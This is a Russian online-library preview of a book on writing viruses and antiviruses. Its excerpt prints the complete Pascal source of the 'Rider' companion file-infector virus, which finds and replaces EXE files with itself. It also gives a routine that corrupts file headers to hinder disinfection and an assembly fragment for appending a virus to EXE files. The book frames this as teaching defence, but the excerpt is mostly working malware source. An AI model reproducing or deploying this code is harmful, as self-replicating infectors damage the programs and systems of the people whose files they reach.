Игорь Гульев - Создаем вирус и антивирус
- Название:Создаем вирус и антивирус
- Автор:
- Жанр:
- Издательство:неизвестно
- Год:неизвестен
- ISBN:нет данных
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Игорь Гульев - Создаем вирус и антивирус краткое содержание
Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).
Создаем вирус и антивирус - читать онлайн бесплатно ознакомительный отрывок
Интервал:
Закладка:
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного файла на COM (ни в коем случае не на EXE, ведь в EXE-файле с таким именем находится вирусный код!).
10. Процедурой Exec загрузить и выполнить переименованный файл – то есть выполнить инфицированную программу.
11. Вернуть COM-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один EXE-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (оверлейный файл), а на его место с помощью командного процессора копируется вирусный код. При запуске происходит заражение только что найденного EXE-файла, затем вирусный код переименовывается в OWL, а OVL – в EXE, после чего оригинал запускается на исполнение. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.
В представленном здесь виде вирус легко обезвредить, достаточно просто переименовать OVL-файл обратно в EXE. Но, чтобы усложнить лечение, в вирусе может быть использован такой прием:procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog, 0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
{$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,
High Heap Limit 0b }
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
Fail=’Cannot execute ’#13#10’Disk is write−protected’;
{Расширения файлов, которые будем использовать}
Ovr=’.OWL’;
Ovl=’.OVL’;
Exe=’.EXE’;
Var
DirInfo : SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
{Процедура для проверки диска на Read Only}
procedure CheckRO;
begin
Assign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If IOResult <> 0 Then
{Если диск защищен от записи, то ответ ’Access denied’}
begin
WriteLn(Fail);
Halt(5);
end;
end;
{Процедура прогонки оригинала}
procedure ExecReal;
begin
{Находим оригинал}
FindFirst(OurName+Ovl, AnyFile, DirInfo);
If DosError <> 0 Then
{Если не нашли}
begin
WriteLn(’Virus RIDER. Let’s go on riding!’);
WriteLn(’I beg your pardon, your infected file cannot be executed.’);
{Выход с DosError=Файл не найден}
Halt(18);
end;
{Переименовываем программу в OVL}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в EXE}
Assign(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
{И запускаем его}
SwapVectors;
Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);
SwapVectors;
{А теперь возвращаем все на место}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
{Процедура заражения}
procedure Infect;
begin
{Переименовываем жертву в OVL}
Assign(Ren, Victim);
ReName(Ren, VictimName+Ovl);
{Копируем тело вируса на место жертвы}
SwapVectors;
Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);
SwapVectors;
end;
{Процедура поиска жертвы}
procedure FindFile;
begin
{В текущем каталоге ищем EXE−файл}
FindFirst(’*.EXE’, AnyFile, DirInfo);
If DosError=0 Then
{И если он найден}
begin
{Запоминаем имя жертвы}
Victim:=DirInfo.Name;
{Запоминаем имя без расширения}
VictimName:=Copy(Victim, 1, Length(Victim)–4);
{Ищем оверлей с тем же именем}
FindFirst(VictimName+Ovl, AnyFile, Sr);
If DosError <> 0 Then Infect;
end;
end;
{Процедура инициализации переменных}
procedure Init;
begin
{Командная строка}
CmdLine:=’’;
{Полное имя нашей программы}
OurProg:=ParamStr(0);
{Имя нашей программы без расширения}
OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))–4);
For I:=1 To ParamCount Do
begin
{Запоминаем параметры}
CmdLine:=ParamStr(I)+’ ’;
end;
end;
{Основная подпрограмма}
begin
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ’ ’);
end;
{Инициализируемся}
Init;
{Проверка диска на R/O}
CheckRO;
{Ищем и заражаем}
FindFile;
{Загружаем оверлей}
ExecReal;
end.Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.
Стандартное заражение EXE-файлов
Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:
;Читаем заголовок EXE−файла (точнее, только первые 18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21h
;Устанавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя SI+смещение элемента
mov si,offset EXEHeader
;Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx,Handle
xor cx,cx
xor dx,dx
int 21h
;Сохраним полученную длину файла
mov Reallen,dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
;оверлейные файлы. Их длина, указанная в заголовке,
;меньше реальной, то есть эти файлы загружаются
;в память не полностью.
;Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
;Сохраним в стеке реальную длину EXE−файла
push dx
push ax
;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток
CompareOVL:
mov cx,0200h
div cx
;На данный момент в регистре AX находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX – остаток, образующий
;еще одну (неучтенную) страницу.
;Добавим эту страницу к общему числу страниц –
;если остаток не равен нулю, то
;увеличим число страниц
or dx,dx
jz m1
inc ax
m1:
;Будем считать пригодным для заражения
;стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
Читать дальшеИнтервал:
Закладка: